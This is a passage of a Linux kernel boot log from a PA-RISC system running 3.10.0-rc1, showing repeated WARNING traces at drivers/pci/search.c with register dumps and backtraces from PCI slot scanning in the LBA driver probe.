 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44dc ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000a0 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000a0 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 000000000000034a
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44dd ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000a8 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000a8 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 0000000000000360
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44de ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000b0 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000b0 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 0000000000000374
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44df ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000b8 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000b8 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 000000000000038a
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44e0 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000c0 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000c0 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 00000000000003a0
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44e1 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000c8 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000c8 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 00000000000003b4
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44e2 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000d0 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000d0 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 00000000000003ca
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44e3 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000d8 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000d8 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 00000000000003e0
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44e4 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000e0 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000e0 000000007fd13400 00000000406a9250
r28-31  0000000000000300 000000007fc58d40 000000007fc58e10 00000000000003f5
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44e5 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000e8 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000e8 000000007fd13400 00000000406a9250
r28-31  0000000000000400 000000007fc58d40 000000007fc58e10 000000000000040c
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44e6 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000f0 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000f0 000000007fd13400 00000000406a9250
r28-31  0000000000000400 000000007fc58d40 000000007fc58e10 0000000000000421
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
 IAOQ[0]: pci_get_slot+0xe0/0xf0
 IAOQ[1]: pci_get_slot+0xe4/0xf0
 RP(r2): pci_scan_single_device+0x3c/0x120
Backtrace:
 [<000000004010c3e4>] pci_scan_single_device+0x3c/0x120
 [<000000004031ed58>] pci_scan_slot+0x68/0x158
 [<000000004031fd0c>] pci_scan_child_bus+0x54/0x130
 [<00000000406deec0>] lba_driver_probe+0x4b8/0x578
 [<000000004011a634>] parisc_driver_probe+0x3c/0x68
 [<000000004037ad34>] really_probe+0x94/0x2d0
 [<000000004037b124>] driver_probe_device+0x34/0x48
 [<000000004037b22c>] __driver_attach+0xf4/0x100
 [<00000000403787f8>] bus_for_each_dev+0x90/0xe8
 [<000000004037a7bc>] driver_attach+0x34/0x48
 [<000000004037a018>] bus_add_driver+0x188/0x358
 [<000000004037b764>] driver_register+0x9c/0x1c8
 [<000000004011b2c8>] register_parisc_driver+0x58/0xb8
 [<00000000406defa4>] lba_init+0x24/0x38
 [<00000000406cf18c>] parisc_init+0x2e4/0x318
 [<0000000040111774>] do_one_initcall+0x54/0x1c0

---[ end trace 3621c5f12f0e44e7 ]---
------------[ cut here ]------------
WARNING: at drivers/pci/search.c:137
Modules linked in:
CPU: 0 PID: 1 Comm: swapper Tainted: G        W    3.10.0-rc1-00087-g674825d #28
task: 000000007fc54000 ti: 000000007fc58000 task.ti: 000000007fc58000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001000000000000001111 Tainted: G        W   
r00-03  000000000804000f 000000007fc58cc0 000000004010c3e4 000000007fc58d70
r04-07  00000000406a9250 000000007fd13400 000000007fd13400 000000007fd13400
r08-11  00000000000000f8 00000000405f98a0 00000000000000c0 00000000406c8250
r12-15  00000000406b6250 00000000406b6250 00000000406f0768 0000000000000000
r16-19  00000000f0d00b0c 00000000000130e4 0000000000000000 0000000000000000
r20-23  0000000040607a50 fffffffff4050005 000000007fc58e38 0000000000000004
r24-27  0000000000000000 00000000000000f8 000000007fd13400 00000000406a9250
r28-31  0000000000000400 000000007fc58d40 000000007fc58e10 0000000000000435
sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 0000000040327e08 0000000040327e0c
 IIR: 03ffe01f    ISR: 0000000010340000  IOR: 000000ff16058d98
 CPU:        0   CR30: 000000007fc58000 CR31: fffffff0f0e098e0
 ORIG_R28: 0000000000000001
